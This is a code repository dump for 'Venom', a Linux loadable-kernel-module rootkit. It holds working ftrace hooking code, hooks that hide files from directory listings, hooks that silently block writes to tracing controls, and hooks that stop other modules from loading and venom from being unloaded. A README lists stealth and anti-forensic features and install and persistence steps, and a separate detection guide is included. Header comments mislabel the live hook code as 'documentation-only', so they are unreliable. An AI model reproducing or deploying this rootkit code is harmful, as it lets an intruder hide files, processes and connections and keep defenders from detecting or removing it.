venom.c 57 | ├── Makefile 58 | └── README.md 59 | ``` 60 | 61 | --- 62 | 63 | ## Development setup 64 | 65 | ### Prerequisites 66 | 67 | * A reproducible test environment (VM or disposable machine). **Never test kernel modules on production systems.** 68 | * Kernel headers matching your running kernel (e.g., `linux-headers-$(uname -r)`). 69 | * Tools: `make`, `gcc`, `clang` (optional), `git`, `dmesg`, `gdb` (userspace), and a reliable serial/VM console for kernel logs. 70 | 71 | ### Building 72 | 73 | 1. `make` — builds the module and test utilities. 74 | 2. `make test` — runs the automated test suite (where available). 75 | 3. Install modules in an isolated VM only: `sudo insmod venom.ko` (or use a signed module workflow). 76 | 77 | --- 78 | 79 | ## Coding standards 80 | 81 | * Language: C for kernel components, Python/Go/JS/Bash for tooling/docs as applicable. 82 | * Naming: prefer clear, non-ambiguous names. 83 | * Comments: explain *why* (design rationale) not only *what*. 84 | * For logging follow the logging system implemented by Venom (`TLOG_*` instead of `printk`) 85 | 86 | 87 | | Symbol | Level | Description | 88 | |--------|-------|-------------| 89 | | ✓ | TLOG_INF | Normal operations, successful hooks | 90 | | ⚠ | TLOG_WARN | Suspicious activity detected | 91 | | ✗ | TLOG_ERROR | Hook failures, errors | 92 | | ☠ | TLOG_CRIT | Critical failures, security breaches | 93 | 94 | ## Thank You! 95 | -------------------------------------------------------------------------------- /docs/detection/enum.py: -------------------------------------------------------------------------------- 1 | import os 2 | import subprocess 3 | from rich.console import Console 4 | from rich.table import Table 5 | 6 | console = Console() 7 | 8 | 9 | 10 | paths = { 11 | "Tracing Filter Functions": [ 12 | "/sys/kernel/tracing/available_filter_functions", 13 | "/sys/debug/kernel/tracing/available_filter_functions", 14 | "/sys/kernel/tracing/available_filter_functions_addrs", 15 | "/sys/debug/kernel/tracing/available_filter_functions_addrs", 16 | "/sys/kernel/tracing/enabled_functions", 17 | "/sys/debug/kernel/tracing/enabled_functions", 18 | "/sys/kernel/tracing/touched_functions", 19 | "/sys/kernel/tracing/kprobe_events" 20 | ], 21 | "Kernel Modules": [ 22 | "/sys/module/*", 23 | "/proc/modules", 24 | "/proc/kallsyms", 25 | "/proc/vmallocinfo", 26 | "/proc/sys/kernel/tainted" 27 | ], 28 | "BPF Maps": ["/sys/fs/bpf/"], 29 | "Kernel Logs": [ 30 | "/var/log/dmesg*", 31 | "/var/log/kern.log", 32 | "/dev/kmsg" 33 | ] 34 | } 35 | 36 | def check_paths(category, paths_list): 37 | table = Table(title=category) 38 | table.add_column("Path", style="cyan") 39 | table.add_column("Exists", style="magenta") 40 | table.add_column("Sample Content", style="green") 41 | 42 | for path in paths_list: 43 | exists = os.path.exists(path) or bool(subprocess.run(f"ls {path}", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).stdout) 44 | sample = "" 45 | try: 46 | if exists: 47 | if os.path.isdir(path): 48 | sample = ", ".join(os.listdir(path)[:5]) 49 | else: 50 | with open(path, 'r', errors='ignore') as f: 51 | sample = f.read(200).replace("\n", " ") 52 | except Exception as e: 53 | sample = f"Error: {e}" 54 | 55 | table.add_row(path, str(exists), sample) 56 | console.print(table) 57 | 58 | def check_commands(): 59 | table = Table(title="Kernel Logs via Commands") 60 | table.add_column("Command", style="cyan") 61 | table.add_column("Output Sample", style="green") 62 | 63 | commands = [ 64 | "dmesg | tail -n 10", 65 | "journalctl -k -n 10" 66 | ] 67 | for cmd in commands: 68 | try: 69 | result = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 70 | sample = result.stdout.decode().replace("\n", " ") 71 | except Exception as e: 72 | sample = f"Error: {e}" 73 | table.add_row(cmd, sample) 74 | console.print(table) 75 | 76 | def enumerate_ko_files(): 77 | console.print("\n[bold yellow]Enumerating loaded .ko files...[/bold yellow]") 78 | try: 79 | result = subprocess.run("find /lib/modules/$(uname -r) -type f -name '*.ko'", shell=True, stdout=subprocess.PIPE) 80 | ko_files = result.stdout.decode().splitlines() 81 | for f in ko_files[:20]: 82 | console.print(f"[green]{f}[/green]") 83 | if len(ko_files) > 20: 84 | console.print(f"... and {len(ko_files)-20} more") 85 | except Exception as e: 86 | console.print(f"[red]Error:[/red] {e}") 87 | 88 | def main(): 89 | console.print("[bold underline magenta]Rootkit & Kernel Enumerator[/bold underline magenta]\n") 90 | for category, p_list in paths.items(): 91 | check_paths(category, p_list) 92 | check_commands() 93 | enumerate_ko_files() 94 | 95 | if __name__ == "__main__": 96 | main() 97 | 98 | -------------------------------------------------------------------------------- /ftrace/ftrace.h: -------------------------------------------------------------------------------- 1 | /* 2 | Ftrace helper for venom 3 | 4 | */ 5 | 6 | 7 | #ifndef FTRACE_H_ 8 | #define FTRACE_H_ 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #define KPROBE_LOOKUP 1 18 | 19 | static struct kprobe kp = { 20 | .symbol_name = "kallsyms_lookup_name" 21 | }; 22 | 23 | #define HOOK(_name, _hook, _orig) \ 24 | { \ 25 | .name = (_name), \ 26 | .function = (_hook), \ 27 | .original = (_orig), \ 28 | } 29 | 30 | #define USE_FENTRY_OFFSET 0 31 | 32 | #if !USE_FENTRY_OFFSET 33 | #pragma GCC optimize("-fno-optimize-sibling-calls") 34 | #endif 35 | 36 | struct ftrace_hook { 37 | const char *name; 38 | void *function; 39 | void *original; 40 | unsigned long address; 41 | struct ftrace_ops ops; 42 | }; 43 | 44 | static int fh_resolve_hook_address(struct ftrace_hook *hook) 45 | { 46 | #ifdef KPROBE_LOOKUP 47 | typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); 48 | kallsyms_lookup_name_t kallsyms_lookup_name; 49 | register_kprobe(&kp); 50 | kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; 51 | unregister_kprobe(&kp); 52 | #endif 53 | 54 | hook->address = kallsyms_lookup_name(hook->name); 55 | 56 | if (!hook->address) { 57 | printk(KERN_DEBUG "[VENOM] unresolved symbol: %s\n", hook->name); 58 | return -ENOENT; 59 | } 60 | 61 | #if USE_FENTRY_OFFSET 62 | *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE; 63 | #else 64 | *((unsigned long*) hook->original) = hook->address; 65 | #endif 66 | 67 | return 0; 68 | } 69 | 70 | static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, 71 | struct ftrace_ops *ops, struct ftrace_regs *fregs) 72 | { 73 | struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops); 74 | struct pt_regs *regs = ftrace_get_regs(fregs); 75 | 76 | #if USE_FENTRY_OFFSET 77 | regs->ip = (unsigned long) hook->function; 78 | #else 79 | if (!within_module(parent_ip, THIS_MODULE)) 80 | regs->ip = (unsigned long) hook->function; 81 | #endif 82 | } 83 | 84 | static int fh_install_hook(struct ftrace_hook *hook) 85 | { 86 | int err; 87 | 88 | err = fh_resolve_hook_address(hook); 89 | if (err) 90 | return err; 91 | 92 | hook->ops.func = fh_ftrace_thunk; 93 | hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS 94 | | FTRACE_OPS_FL_RECURSION 95 | | FTRACE_OPS_FL_IPMODIFY; 96 | 97 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); 98 | if (err) { 99 | printk(KERN_DEBUG "[VENOM] ftrace_set_filter_ip() failed: %d\n", err); 100 | return err; 101 | } 102 | 103 | err = register_ftrace_function(&hook->ops); 104 | if (err) { 105 | ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); 106 | return err; 107 | } 108 | 109 | return 0; 110 | } 111 | 112 | static void fh_remove_hook(struct ftrace_hook *hook) 113 | { 114 | int err; 115 | 116 | err = unregister_ftrace_function(&hook->ops); 117 | if (err) { 118 | printk(KERN_DEBUG "[VENOM] unregister_ftrace_function() failed: %d\n", err); 119 | } 120 | 121 | err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0); 122 | if (err) { 123 | printk(KERN_DEBUG "[VENOM] ftrace_set_filter_ip() failed: %d\n", err); 124 | } 125 | } 126 | 127 | static int fh_install_hooks(struct ftrace_hook *hooks, size_t count) 128 | { 129 | int err; 130 | size_t i; 131 | 132 | for (i = 0; i < count; i++) { 133 | err = fh_install_hook(&hooks[i]); 134 | if (err) 135 | goto error; 136 | } 137 | return 0; 138 | 139 | error: 140 | while (i != 0) { 141 | fh_remove_hook(&hooks[--i]); 142 | } 143 | return err; 144 | } 145 | 146 | static void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) 147 | { 148 | size_t i; 149 | for (i = 0; i < count; i++) 150 | fh_remove_hook(&hooks[i]); 151 | } 152 | 153 | #endif // FTRACE_H_ 154 | -------------------------------------------------------------------------------- /hooks/getdents.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Venom 3 | * --------------------------------------------------------------------------- 4 | * File: getdents.c 5 | * 6 | * Purpose: 7 | * - Documentation-first discussion of directory enumeration touchpoints 8 | * (e.g., getdents / getdents64 paths) and observable behaviors when 9 | * listings are filtered or manipulated. 10 | * 11 | * Contents (documentation-only): 12 | * - Hides files and folders containing these prefixes: (trevohack, .secret, source, _defense, venom.ko) 13 | * these can be customized 14 | * 15 | * Author: Trevohack 16 | */ 17 | 18 | 19 | #ifndef GETDENTS_H 20 | #define GETDENTS_H 21 | 22 | #include "../include/headers.h" 23 | 24 | static asmlinkage long (*orig_getdents64)(const struct pt_regs *regs); 25 | static asmlinkage long (*orig_getdents)(const struct pt_regs *regs); 26 | static char **g_hidden_prefixes = NULL; 27 | 28 | void set_hidden_prefixes(char **prefixes) { 29 | g_hidden_prefixes = prefixes; 30 | } 31 | 32 | notrace static int should_hide_file(const char *name) { 33 | int i; 34 | if (!name || !g_hidden_prefixes) return 0; 35 | 36 | for (i = 0; g_hidden_prefixes[i] != NULL; i++) { 37 | if (strncmp(name, g_hidden_prefixes[i], strlen(g_hidden_prefixes[i])) == 0) 38 | return 1; 39 | } 40 | 41 | if (strstr(name, "trevohack") || strstr(name, ".secret") || 42 | strstr(name, "source") || strstr(name, ".X11-cache") || 43 | strcmp(name, "venom.ko") == 0) 44 | return 1; 45 | 46 | return 0; 47 | } 48 | 49 | notrace static asmlinkage long hooked_getdents64(const struct pt_regs *regs) { 50 | struct linux_dirent64 __user *user_dir = (struct linux_dirent64 __user *)regs->si; 51 | struct linux_dirent64 *kbuf, *d, *prev = NULL; 52 | long ret; 53 | unsigned long off = 0; 54 | 55 | ret = orig_getdents64(regs); 56 | if (ret <= 0 || ret > 32768) return ret; 57 | 58 | kbuf = kzalloc(ret, GFP_KERNEL); 59 | if (!kbuf) return ret; 60 | 61 | if (copy_from_user(kbuf, user_dir, ret)) { 62 | kfree(kbuf); 63 | return ret; 64 | } 65 | 66 | while (off < ret) { 67 | d = (struct linux_dirent64 *)((char *)kbuf + off); 68 | if (d->d_reclen == 0 || d->d_reclen > (ret - off)) break; 69 | 70 | if (should_hide_file(d->d_name) || is_hidden_pid_entry(d->d_name)) { 71 | if (off == 0) { 72 | ret -= d->d_reclen; 73 | memmove(kbuf, (char *)kbuf + d->d_reclen, ret); 74 | continue; 75 | } else if (prev) { 76 | prev->d_reclen += d->d_reclen; 77 | } 78 | } else { 79 | prev = d; 80 | } 81 | off += d->d_reclen; 82 | } 83 | 84 | if (copy_to_user(user_dir, kbuf, ret)) { 85 | kfree(kbuf); 86 | return orig_getdents64(regs); 87 | } 88 | 89 | kfree(kbuf); 90 | return ret; 91 | } 92 | 93 | notrace static asmlinkage long hooked_getdents(const struct pt_regs *regs) { 94 | struct linux_dirent __user *user_dir = (struct linux_dirent __user *)regs->si; 95 | struct linux_dirent *kbuf, *d, *prev = NULL; 96 | long ret; 97 | unsigned long off = 0; 98 | 99 | ret = orig_getdents(regs); 100 | if (ret <= 0 || ret > 32768) return ret; 101 | 102 | kbuf = kzalloc(ret, GFP_KERNEL); 103 | if (!kbuf || copy_from_user(kbuf, user_dir, ret)) { 104 | kfree(kbuf); 105 | return ret; 106 | } 107 | 108 | while (off < ret) { 109 | d = (struct linux_dirent *)((char *)kbuf + off); 110 | if (d->d_reclen == 0 || d->d_reclen > (ret - off)) break; 111 | 112 | if (should_hide_file(d->d_name) || is_hidden_pid_entry(d->d_name)) { 113 | if (off == 0) { 114 | ret -= d->d_reclen; 115 | memmove(kbuf, (char *)kbuf + d->d_reclen, ret); 116 | continue; 117 | } else if (prev) prev->d_reclen += d->d_reclen; 118 | } else prev = d; 119 | off += d->d_reclen; 120 | } 121 | 122 | if (copy_to_user(user_dir, kbuf, ret)) { 123 | kfree(kbuf); 124 | return orig_getdents(regs); 125 | } 126 | kfree(kbuf); 127 | 128 | return ret; 129 | } 130 | 131 | #endif 132 | -------------------------------------------------------------------------------- /hooks/write.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Venom 3 | * --------------------------------------------------------------------------- 4 | * File: write.c 5 | * 6 | * Purpose: 7 | * - Conceptual discussion of the write(2) syscall, its interaction with 8 | * logging/tracing subsystems, and how output interception might appear 9 | * in system logs or forensic evidence. Hooks write, pwrite 10 | * 11 | * Contents (documentation-only): 12 | * - Prevents ftrace modifications, protects the system, logging 13 | * 14 | * Author: Trevohack 15 | */ 16 | 17 | 18 | #ifndef WRITE_HACK_H 19 | #define WRITE_HACK_H 20 | 21 | 22 | #include "../include/headers.h" 23 | 24 | 25 | static asmlinkage ssize_t (*orig_write)(const struct pt_regs *regs); 26 | static asmlinkage ssize_t (*orig_pwrite64)(const struct pt_regs *regs); 27 | 28 | 29 | 30 | static const char *write_protected_files[] = { 31 | "ftrace_enabled", 32 | "tracing_on", 33 | "trace", 34 | "available_tracers", 35 | "current_tracer", 36 | "set_ftrace_filter", 37 | "set_ftrace_notrace", 38 | "kptr_restrict", 39 | "dmesg_restrict", 40 | NULL 41 | }; 42 | 43 | 44 | notrace static int custos_write(const char *name) { 45 | int i; 46 | if (!name) return 0; 47 | 48 | for (i = 0; write_protected_files[i] != NULL; i++) { 49 | if (strcmp(name, write_protected_files[i]) == 0) 50 | return 1; 51 | } 52 | 53 | if (strstr(name, "trace") || strstr(name, "events") || 54 | strstr(name, "kprobe") || strstr(name, "uprobe")) 55 | return 1; 56 | 57 | return 0; 58 | } 59 | 60 | 61 | notrace static char *get_file_path(int fd, char *buf, size_t size) { 62 | struct file *file; 63 | char *path = NULL; 64 | 65 | file = fget(fd); 66 | if (file) { 67 | path = d_path(&file->f_path, buf, size); 68 | fput(file); 69 | } 70 | 71 | return IS_ERR(path) ? NULL : path; 72 | } 73 | 74 | 75 | notrace static ssize_t write_vigila(int fd, const char __user *user_buf, size_t count, 76 | loff_t *pos, ssize_t (*original_write)(const struct pt_regs *), 77 | const struct pt_regs *regs) { 78 | struct file *file; 79 | char *kernel_buf; 80 | char path_buf[256]; 81 | char *path; 82 | 83 | file = fget(fd); 84 | if (!file) 85 | goto call_original; 86 | 87 | if (file->f_path.dentry && file->f_path.dentry->d_name.name) { 88 | const char *name = file->f_path.dentry->d_name.name; 89 | 90 | 91 | if (custos_write(name)) { 92 | fput(file); 93 | 94 | kernel_buf = kmalloc(min(count, (size_t)BUFFER_SIZE), GFP_KERNEL); 95 | if (kernel_buf) { 96 | if (copy_from_user(kernel_buf, user_buf, min(count, (size_t)BUFFER_SIZE)) == 0) { 97 | kernel_buf[min(count, (size_t)BUFFER_SIZE - 1)] = '\0'; 98 | TLOG_WARN("[VENOM] Blocked write to %s: %.*s by %s", name, (int)min(count, (size_t)64), kernel_buf, current->comm); 99 | } 100 | kfree(kernel_buf); 101 | } 102 | 103 | return count; 104 | } 105 | 106 | path = get_file_path(fd, path_buf, sizeof(path_buf)); 107 | if (path) { 108 | if (strstr(path, "/etc/") || 109 | strstr(path, "/boot/") || 110 | strstr(path, "/sys/kernel/")) { 111 | TLOG_INF("[VENOM] System file write: %s by %s (PID:%d)", path, current->comm, current->pid); 112 | } 113 | 114 | 115 | if (strstr(path, "/dev/mem") || strstr(path, "/dev/kmem")) { 116 | TLOG_CRIT("[VENOM] MEMORY WRITE ATTEMPT: %s by %s", path, current->comm); 117 | fput(file); 118 | return 0; 119 | } 120 | } 121 | } 122 | 123 | fput(file); 124 | 125 | call_original: 126 | return original_write(regs); 127 | } 128 | 129 | notrace static asmlinkage ssize_t hooked_write(const struct pt_regs *regs) { 130 | int fd = regs->di; 131 | const char __user *buf = (const char __user *)regs->si; 132 | size_t count = regs->dx; 133 | 134 | return write_vigila(fd, buf, count, NULL, orig_write, regs); 135 | } 136 | 137 | 138 | notrace static asmlinkage ssize_t hooked_pwrite64(const struct pt_regs *regs) { 139 | int fd = regs->di; 140 | const char __user *buf = (const char __user *)regs->si; 141 | size_t count = regs->dx; 142 | loff_t pos = regs->r10; 143 | 144 | return write_vigila(fd, buf, count, &pos, orig_pwrite64, regs); 145 | } 146 | 147 | #endif 148 | -------------------------------------------------------------------------------- /hooks/insmod.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Venom 3 | * --------------------------------------------------------------------------- 4 | * File: insmod.c 5 | * 6 | * Purpose: 7 | * - Conceptual notes on module insertion and related kernel entry points 8 | * (init_module / finit_module) including detection patterns and 9 | * common failure indicators defenders might see. 10 | * 11 | * Contents (documentation-only): 12 | * - Prevents insertion of new modules to keep only venom in the kernel 13 | * - Prevents deletion of venom 14 | * 15 | * Author: Trevohack 16 | */ 17 | 18 | #ifndef INSMOD_H 19 | #define INSMOD_H 20 | 21 | #include "../include/headers.h" 22 | 23 | 24 | static asmlinkage long (*orig_init_module)(const struct pt_regs *regs); 25 | static asmlinkage long (*orig_finit_module)(const struct pt_regs *regs); 26 | 27 | static const char *allowed_modules[] = { 28 | "venom", 29 | NULL 30 | }; 31 | 32 | notrace static int is_module_allowed(const char *module_name) { 33 | int i; 34 | 35 | if (!module_name) 36 | return 0; 37 | 38 | for (i = 0; allowed_modules[i] != NULL; i++) { 39 | if (strstr(module_name, allowed_modules[i])) { 40 | return 1; 41 | } 42 | } 43 | 44 | return 0; 45 | } 46 | 47 | notrace static char *get_module_name_from_data(void __user *umod, unsigned long len) { 48 | char *kernel_buf; 49 | char *module_name = NULL; 50 | struct module *mod_info; 51 | 52 | if (len > 1024 * 1024) 53 | return NULL; 54 | 55 | kernel_buf = kmalloc(len, GFP_KERNEL); 56 | if (!kernel_buf) 57 | return NULL; 58 | 59 | if (copy_from_user(kernel_buf, umod, len)) { 60 | kfree(kernel_buf); 61 | return NULL; 62 | } 63 | 64 | mod_info = (struct module *)kernel_buf; 65 | if (mod_info && mod_info->name[0]) { 66 | module_name = kstrdup(mod_info->name, GFP_KERNEL); 67 | } 68 | 69 | kfree(kernel_buf); 70 | return module_name; 71 | } 72 | 73 | 74 | notrace static asmlinkage long hooked_init_module(const struct pt_regs *regs) { 75 | void __user *umod = (void __user *)regs->di; 76 | unsigned long len = regs->si; 77 | const char __user *uargs = (const char __user *)regs->dx; 78 | char *module_name; 79 | char args[256] = {0}; 80 | 81 | 82 | if (uargs && strncpy_from_user(args, uargs, sizeof(args) - 1) > 0) { 83 | if (is_module_allowed(args)) { 84 | return orig_init_module(regs); 85 | } 86 | } 87 | 88 | module_name = get_module_name_from_data(umod, len); 89 | if (module_name) { 90 | if (is_module_allowed(module_name)) { 91 | kfree(module_name); 92 | return orig_init_module(regs); 93 | } 94 | kfree(module_name); 95 | } 96 | 97 | 98 | TLOG_WARN("[VENOM] Blocked unauthorized module load attempt (init_module) from PID %d UID %d\n", current->pid, current_uid().val); 99 | 100 | return -EPERM; 101 | } 102 | 103 | 104 | notrace static asmlinkage long hooked_finit_module(const struct pt_regs *regs) { 105 | int fd = (int)regs->di; 106 | const char __user *uargs = (const char __user *)regs->si; 107 | char args[256] = {0}; 108 | char filename[256] = {0}; 109 | struct file *file; 110 | 111 | file = fget(fd); 112 | if (file) { 113 | if (file->f_path.dentry && file->f_path.dentry->d_name.name) { 114 | strncpy(filename, file->f_path.dentry->d_name.name, sizeof(filename) - 1); 115 | 116 | if (is_module_allowed(filename)) { 117 | fput(file); 118 | return orig_finit_module(regs); 119 | } 120 | } 121 | fput(file); 122 | } 123 | 124 | if (uargs && strncpy_from_user(args, uargs, sizeof(args) - 1) > 0) { 125 | if (is_module_allowed(args)) { 126 | return orig_finit_module(regs); 127 | } 128 | } 129 | 130 | 131 | TLOG_WARN("[VENOM] Blocked unauthorized module load attempt (finit_module) from PID %d UID %d: %s\n", current->pid, current_uid().val, filename[0] ? filename : "unknown"); 132 | 133 | return -EPERM; 134 | } 135 | 136 | 137 | static asmlinkage long (*orig_delete_module)(const struct pt_regs *regs); 138 | 139 | notrace static asmlinkage long hooked_delete_module(const struct pt_regs *regs) { 140 | const char __user *name_user = (const char __user *)regs->di; 141 | char module_name[256] = {0}; 142 | 143 | if (name_user && strncpy_from_user(module_name, name_user, sizeof(module_name) - 1) > 0) { 144 | if (is_module_allowed(module_name)) { 145 | TLOG_WARN("[VENOM] Blocked attempt to unload protected module: %s from PID %d\n", module_name, current->pid); 146 | return -EPERM; 147 | } 148 | } 149 | 150 | 151 | return orig_delete_module(regs); 152 | } 153 | 154 | #endif 155 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 | 3 |
4 | 5 |

Venom

6 | 7 |
8 | A poison that sleeps in the kernel’s veins
9 | A Linux Kernel Module 10 |

11 | Venom Ascendancy 12 | Platform 13 | Language 14 | Architecture 15 | Status 16 |
17 | 18 | --- 19 | 20 | > [!Important] 21 | > Venom — An advance loadable kernel module, strictly for educational purposes only. 22 | 23 | 24 | ## Features 25 | 26 | * **Output interception** — watches kernel write paths to protect or hide tracing/logs. 27 | * **Input interception** — inspects reads to stop leaks of Venom internals. 28 | * **Dir filtering (64-bit)** — hides files/dirs from normal `ls`/readdir views. 29 | * **Dir filtering (32-bit/compat)** — same as above for 32-bit compatibility calls. 30 | * **Module load control** — watches/blocks module insertions to stop rivals. 31 | * **FD-based module load** — monitors modern (fd) module loads the same way. 32 | * **Module unload protection** — prevents or logs attempts to remove modules. 33 | * **Signal control** — intercepts signals to stop forced kills or meddling. 34 | * **Device/ioctl protection** — blocks/inspects ioctl probes from forensic tools. 35 | * **TCP /proc hooks** — filters `/proc/net/tcp` and `/proc/net/tcp6` to hide endpoints. 36 | * **UDP /proc hooks** — filters `/proc/net/udp` and `/proc/net/udp6`. 37 | * **Packet receive interception** — filters raw packet capture paths (AF_PACKET/TPACKET). 38 | * **Mount blocking** — denies unwanted mounts/moves to keep things hidden. 39 | * **FS protection hooks** — hooks `openat`/`renameat`/`unlinkat` to guard critical files. 40 | * **Socket logging** — logs new sockets (watch outbound channels). 41 | * **Blocks `ptrace` and `prctl`** — anti-debugging 42 | * **process_vm_readv / process_vm_writev monitoring** — observe inter-process memory read/write attempts 43 | * **Hides metadata** - metadata of the files will not be shown to protect the rootkit 44 | * **Log Commands** - Log if any command, binary or file is not safe to run 45 | 46 | 47 | ## Installation 48 | 49 | 50 | ```bash 51 | # Insert the module 52 | git clone https://github.com/Trevohack/Venom 53 | cd Venom 54 | make 55 | insmod venom.ko 56 | 57 | # Install with advance persistence 58 | git clone https://github.com/Trevohack/Venom 59 | cd Venom 60 | chmod +x implant.sh 61 | ./implant.sh 62 | ``` 63 | 64 | - And let the venom spread 65 | 66 | Screenshot 2025-10-05 091005 67 | 68 | 69 | 70 | ## 📚 Documentation 71 | 72 | The `docs` folder contains the project's design and reference material. Quick links: 73 | 74 | - [Syscall Hooks (overview)](./docs/syscalls.md) — which hooks are monitored and why (non-operational) 75 | - [Diagrams](./docs) — Flow and structure diagrams 76 | - [Detection](./docs/detection) — defensive signals, suggested audit checks, and safe test advice 77 | 78 | Browse the docs: [docs](./docs) 79 | 80 | 81 | ## Finishing Touches 82 | 83 | Venom is not a weapon it’s a **research & educational project**. 84 | 85 | ✔️ **Stay Responsible** 86 | Use this content only in safe, legal environments you fully control 87 | 88 | ✔️ **Contribute for Good** 89 | Pull requests that improve documentation, defensive detection notes, or historical references are welcome. Contributions must follow the spirit of responsible research **no weaponized code, no operational exploits.** 90 | 91 | ✔️ **Respect the Ecosystem** 92 | This repo is about knowledge-sharing, not misuse. Always respect the boundaries of ethical hacking and your local laws. When in doubt, **don’t run it on production systems**. 93 | 94 | ## References & Special Thanks 95 | 96 | - [Diamorphine](https://github.com/m0nad/Diamorphine) - old kit but greatest inspiration 97 | - [TheXcellerator](https://xcellerator.github.io/posts/linux_rootkits_01/) - learnt about LKMs first, mad respect 98 | - [MatheuZSecurity](https://github.com/MatheuZSecurity) - inspiration, huge shout out 99 | - [Kvoid](https://github.com/carloslack/KoviD) - Goat 100 | 101 | 102 | --- 103 | 104 | > **Closing note:** 105 | > Spread the venom. Leave no trace. Own the silence. 106 | 107 | --- 108 | -------------------------------------------------------------------------------- /docs/syscalls_hooked.md: -------------------------------------------------------------------------------- 1 | 2 | ## Hooked Syscalls 3 | 4 | ```mermaid 5 | graph TB 6 | subgraph Userland 7 | U["User tools: ps / ls / ss / netstat / tcpdump / strace"] 8 | end 9 | 10 | subgraph Kernel 11 | Sys["Syscall entry and kernel interfaces"] 12 | 13 | ProcCtl["Process control - signals / kill"] 14 | IO["File I/O - read write pread64 pwrite64"] 15 | DirEnum["Directory enumeration - getdents getdents64"] 16 | FSops["Filesystem ops - openat renameat unlinkat truncate"] 17 | Mounts["Mounts and namespaces - mount move_mount"] 18 | ModuleCtl["Module control - init_module finit_module delete_module"] 19 | KexecCtl["Kexec and boot control"] 20 | IOCTLs["Device control - ioctls"] 21 | SockOps["Socket ops - socket setsockopt"] 22 | NetView["Network view - tcp/udp seq_show"] 23 | PktPath["Packet receive path - tpacket_rcv"] 24 | HookLayer["Venom layer - detection / filter (sanitized)"] 25 | Orig["Original kernel handlers / fallback"] 26 | end 27 | 28 | U -->|"invoke syscalls or inspect"| Sys 29 | 30 | Sys --> ProcCtl 31 | Sys --> IO 32 | Sys --> DirEnum 33 | Sys --> FSops 34 | Sys --> Mounts 35 | Sys --> ModuleCtl 36 | Sys --> KexecCtl 37 | Sys --> IOCTLs 38 | Sys --> SockOps 39 | Sys --> NetView 40 | Sys --> PktPath 41 | 42 | ProcCtl --> HookLayer 43 | IO --> HookLayer 44 | DirEnum --> HookLayer 45 | FSops --> HookLayer 46 | Mounts --> HookLayer 47 | ModuleCtl --> HookLayer 48 | KexecCtl --> HookLayer 49 | IOCTLs --> HookLayer 50 | SockOps --> HookLayer 51 | NetView --> HookLayer 52 | PktPath --> HookLayer 53 | 54 | HookLayer -->|"allow / modify / log / conceal"| Orig 55 | 56 | classDef venom fill:#222222,stroke:#e67e22,color:#fff,stroke-width:2px; 57 | class HookLayer venom; 58 | 59 | ``` 60 | 61 | 62 | 63 | 64 | * **`pread64` / `pwrite64` (vector I/O variants)** 65 | 66 | * What to look for: partial/offset reads or writes that don’t match expected userland behavior (file contents differing when read normally vs. by offset), or unusual repeated pread/pwrite calls against kernel/state files. 67 | * Quick triage: compare full-file dumps vs. offset reads; log FD activity and correlate with process ancestry. 68 | 69 | * **`move_mount`** 70 | 71 | * What to look for: mounts that appear to move or vanish between namespaces, mount points that are present for some processes but not others, or transient mount events. 72 | * Quick triage: snapshot `/proc/self/mountinfo` from multiple processes, and compare to `findmnt` and `mount` outputs collected at the same time. 73 | 74 | * **`setsockopt`** 75 | 76 | * What to look for: unusual socket option changes (TTL, SO_BINDTODEVICE, IP_TRANSPARENT, TCP_FASTOPEN) by non-networking binaries, or sockets with unexpected options that affect visibility. 77 | * Quick triage: log setsockopt calls with process creds; flag sockets created by uncommon parents or non-network daemons. 78 | 79 | * **`socket`** 80 | 81 | * What to look for: sockets created by odd processes, sockets that never show in `/proc/net/*` but are visible in packet captures, or raw socket creation by non-privileged processes. 82 | * Quick triage: correlate `socket()` creation logs with packet captures and process trees. 83 | 84 | * **`tpacket_rcv`** 85 | 86 | * What to look for: missing packets in userland captures (tcpdump) that do appear on a network tap; inconsistent timestamps or packet counts across capture points. 87 | * Quick triage: capture at host and at network tap/gateway simultaneously and diff the captures. 88 | 89 | * **`tcp*/udp* _seq_show` (proc rendering hooks)** 90 | 91 | * What to look for: sockets visible in packet captures but not in `/proc/net/*`, or `/proc/net/*` outputs that differ between tools. 92 | * Quick triage: compare `ss -tanp` / `netstat` / `/proc/net` output against offline packet captures. 93 | 94 | * **`openat` / `renameat` / `unlinkat` / `truncate`** 95 | 96 | * What to look for: unexpected file removals, renames of logs, truncation of files (zeroed logs), or `openat` on sensitive paths by odd processes. 97 | * Quick triage: enable auditd rules for sensitive paths and watch for unusual UIDs or process ancestry. 98 | 99 | * **`mount`** 100 | 101 | * What to look for: anonymous or private bind mounts appearing, mounts from unusual paths, or mounts created without corresponding userland activity. 102 | * Quick triage: periodic mountinfo snapshots and monitoring for transient mounts. 103 | 104 | * **`init_module` / `finit_module` / `delete_module`** 105 | 106 | * What to look for: failed module loads from legit admins, modules that can’t be removed, or module load attempts from unexpected paths. 107 | * Quick triage: require signed modules (secure boot), and alert on module load failures and unexpected dmesg denials. 108 | 109 | * **`kexec_load`** 110 | 111 | * What to look for: unexpected kernel image reads, kexec syscalls, or reboots initiated without admin intent. 112 | * Quick triage: log kernel image reads and alert on kexec syscalls from non-admin contexts. 113 | 114 | * **`kill`** 115 | 116 | * What to look for: frequent signals to privileged processes, `EPERM` or unexpected denial errors when admins try to send signals, or signal storms targeting certain PIDs. 117 | * Quick triage: log `kill()` syscall attempts and correlate caller UID/PID. 118 | 119 | * **`ioctl`** 120 | 121 | * What to look for: blocked or failing ioctls on tracing or forensic devices (`/dev/*tracing*`, `/dev/mem`), or odd ioctl sequences from unknown binaries. 122 | * Quick triage: monitor ioctl failures from trusted tools and inspect additional kernel logs around those timestamps. 123 | 124 | --- 125 | 126 | -------------------------------------------------------------------------------- /venom.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 